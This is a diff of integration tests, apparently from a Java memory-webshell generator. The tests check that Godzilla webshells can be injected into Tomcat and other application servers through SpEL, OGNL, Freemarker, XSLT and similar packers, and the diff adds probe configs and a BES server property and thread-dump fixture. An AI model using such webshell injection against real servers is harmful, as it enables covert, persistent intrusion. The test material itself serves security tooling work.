arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
|
||||
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
|
||||
);
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
|
||||
}
|
||||
}
|
||||
+1
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
|
||||
);
|
||||
}
|
||||
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
package com.reajason.javaweb.integration.memshell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/8/30
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Tomcat8XSLTContainerTest {
|
||||
public static final String imageName = "tomcat:8-jre8";
|
||||
|
||||
@Container
|
||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
return Stream.of(
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine)
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
|
||||
}
|
||||
}
|
||||
+26
@@ -287,6 +287,32 @@ public class ProbeTestConfig {
|
||||
.supportsSpringWebMvc(true);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springbootBes(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.jarFile(jarFile)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.BES)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.supportsFilterProbe(false)
|
||||
.supportsSpringWebMvc(true);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springbootTongweb(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
.jarFile(jarFile)
|
||||
.jarDeployPath("/app/app.jar")
|
||||
.command("java -jar /app/app.jar")
|
||||
.server(Server.TongWeb)
|
||||
.contextPath("")
|
||||
.healthCheckPath("/test")
|
||||
.supportsFilterProbe(false)
|
||||
.supportsSpringWebMvc(true);
|
||||
}
|
||||
|
||||
public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) {
|
||||
return builder()
|
||||
.imageName(imageName)
|
||||
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebflux;
|
||||
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
public class SpringBoot4WebFluxContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig
|
||||
.springwebflux("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4WebfluxJarFile)
|
||||
.expectedJdkVersion("JDK|21.0.11|65")
|
||||
.build();
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||
|
||||
@Override
|
||||
protected ProbeTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return container;
|
||||
}
|
||||
}
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
package com.reajason.javaweb.integration.probe.springwebmvc;
|
||||
|
||||
import com.reajason.javaweb.integration.ContainerTool;
|
||||
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
|
||||
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2026/08/21
|
||||
*/
|
||||
@Testcontainers
|
||||
public class SpringBoot4ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig
|
||||
.springboot("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4JarFile)
|
||||
.expectedJdkVersion("JDK|21.0.11|65")
|
||||
.targetJdkVersion(Opcodes.V21)
|
||||
.build();
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG);
|
||||
|
||||
@Override
|
||||
protected ProbeTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
|
||||
@Override
|
||||
protected GenericContainer<?> getContainer() {
|
||||
return container;
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -18,7 +18,7 @@ import java.time.Duration;
|
||||
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
|
||||
|
||||
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
|
||||
.expectedJdkVersion("JRE|17.0.19|61")
|
||||
.expectedJdkVersion("JRE|17.0.20|61")
|
||||
.targetJdkVersion(Opcodes.V1_8)
|
||||
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
|
||||
.privilegedMode(true)
|
||||
|
||||
@@ -0,0 +1,817 @@
|
||||
# Generated At 2026-08-25 10:42:41
|
||||
SystemProps:
|
||||
java.specification.version: 17
|
||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||
bes.useNaming: true
|
||||
sun.jnu.encoding: UTF-8
|
||||
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.commons.commons-collections4,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
|
||||
com.bes.resource.ejb.leakDetect: false
|
||||
bes.loader: bes-system
|
||||
sun.arch.data.model: 64
|
||||
java.vendor.url: https://adoptium.net/
|
||||
sun.boot.library.path: /opt/java/openjdk/lib
|
||||
com.bes.hostName: 10a3b603cce2
|
||||
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
|
||||
jdk.debug: release
|
||||
java.specification.vendor: Oracle Corporation
|
||||
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||
java.version.date: 2026-07-21
|
||||
java.home: /opt/java/openjdk
|
||||
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||
file.separator: /
|
||||
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||
java.vm.compressedOopsMode: 32-bit
|
||||
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||
line.separator:
|
||||
|
||||
java.vm.specification.vendor: Oracle Corporation
|
||||
java.specification.name: Java Platform API Specification
|
||||
com.bes.instanceRoot: /opt/bes
|
||||
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||
java.runtime.version: 17.0.20+8
|
||||
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
|
||||
user.name: root
|
||||
java.security.policy: /opt/bes/conf/security/server.policy
|
||||
com.bes.javaRoot: /opt/java/openjdk
|
||||
file.encoding: UTF-8
|
||||
java.vendor.version: Temurin-17.0.20+8
|
||||
derby.system.home: /opt/bes
|
||||
java.io.tmpdir: /tmp
|
||||
java.version: 17.0.20
|
||||
java.vm.specification.name: Java Virtual Machine Specification
|
||||
native.encoding: UTF-8
|
||||
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64
|
||||
java.vendor: Eclipse Adoptium
|
||||
ANTLR_USE_DIRECT_CLASS_LOADING: true
|
||||
java.specification.maintenance.version: 1
|
||||
java.rmi.server.randomIDs: true
|
||||
sun.io.unicode.encoding: UnicodeLittle
|
||||
com.bes.enterprise.embedder.source: ServerListener
|
||||
bcs.loader: "${bes.home}/lib/bcs/*.jar"
|
||||
bes.home: /opt/bes
|
||||
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||
java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.14.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.2.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_5.0.3.jar
|
||||
java.vm.vendor: Eclipse Adoptium
|
||||
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
|
||||
bes.base: /opt/bes
|
||||
user.timezone: Etc/UTC
|
||||
com.bes.instanceName: server
|
||||
java.vm.specification.version: 17
|
||||
os.name: Linux
|
||||
sun.java.launcher: SUN_STANDARD
|
||||
user.country: US
|
||||
sun.cpu.endian: little
|
||||
com.bes.enterprise.deployments.classpath: false
|
||||
user.home: /root
|
||||
user.language: en
|
||||
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||
com.bes.verboseMode: true
|
||||
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||
java.awt.headless: true
|
||||
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||
server.loader:
|
||||
com.bes.enterprise.provider.default: com.bes.enterprise
|
||||
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||
java.net.preferIPv4Stack: true
|
||||
path.separator: :
|
||||
java.security.egd: file:/dev/./urandom
|
||||
common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar"
|
||||
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
|
||||
java.runtime.name: OpenJDK Runtime Environment
|
||||
org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
|
||||
com.bes.resource.leakDetect: false
|
||||
bes.version: 10.0
|
||||
java.vm.name: OpenJDK 64-Bit Server VM
|
||||
org.objectweb.howl./opt/bes/repository/txlog/tx_1.log.locked: true
|
||||
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
|
||||
com.bes.installRoot: /opt/bes
|
||||
com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy
|
||||
user.dir: /opt/bes
|
||||
bval.in-container: true
|
||||
os.arch: aarch64
|
||||
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
|
||||
java.vm.info: mixed mode, sharing
|
||||
java.vm.version: 17.0.20+8
|
||||
javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||
java.class.version: 61.0
|
||||
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||
|
||||
===========================================
|
||||
|
||||
ThreadStacks:
|
||||
"KeepAliveTimer" #53 daemon [TIMED_WAITING] on java.util.TaskQueue@5c197b53
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:563)
|
||||
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"Spark_2" #82 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5b9112b
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250)
|
||||
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
||||
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
|
||||
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
||||
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
|
||||
at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:510)
|
||||
at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:641)
|
||||
at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:37)
|
||||
|
||||
"jmsra-WorkerThread-1" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Spark-Selector" #79 [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||
at com.bes.ejb.spark.tcp.transport.SelectorThread.c(SelectorThread.java:289)
|
||||
at com.bes.ejb.spark.tcp.transport.SelectorThread.startEndpoint(SelectorThread.java:206)
|
||||
at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508)
|
||||
|
||||
"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@71ac2346
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:472)
|
||||
at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:132)
|
||||
at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:37)
|
||||
at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:50)
|
||||
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:137)
|
||||
at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:113)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"jmsra-WorkerThread-4" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"AppServer-utility-1" #54 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"HSQLDB Timer @24f4bc74" #76 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@48b0ec41
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source)
|
||||
at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source)
|
||||
at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-8" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
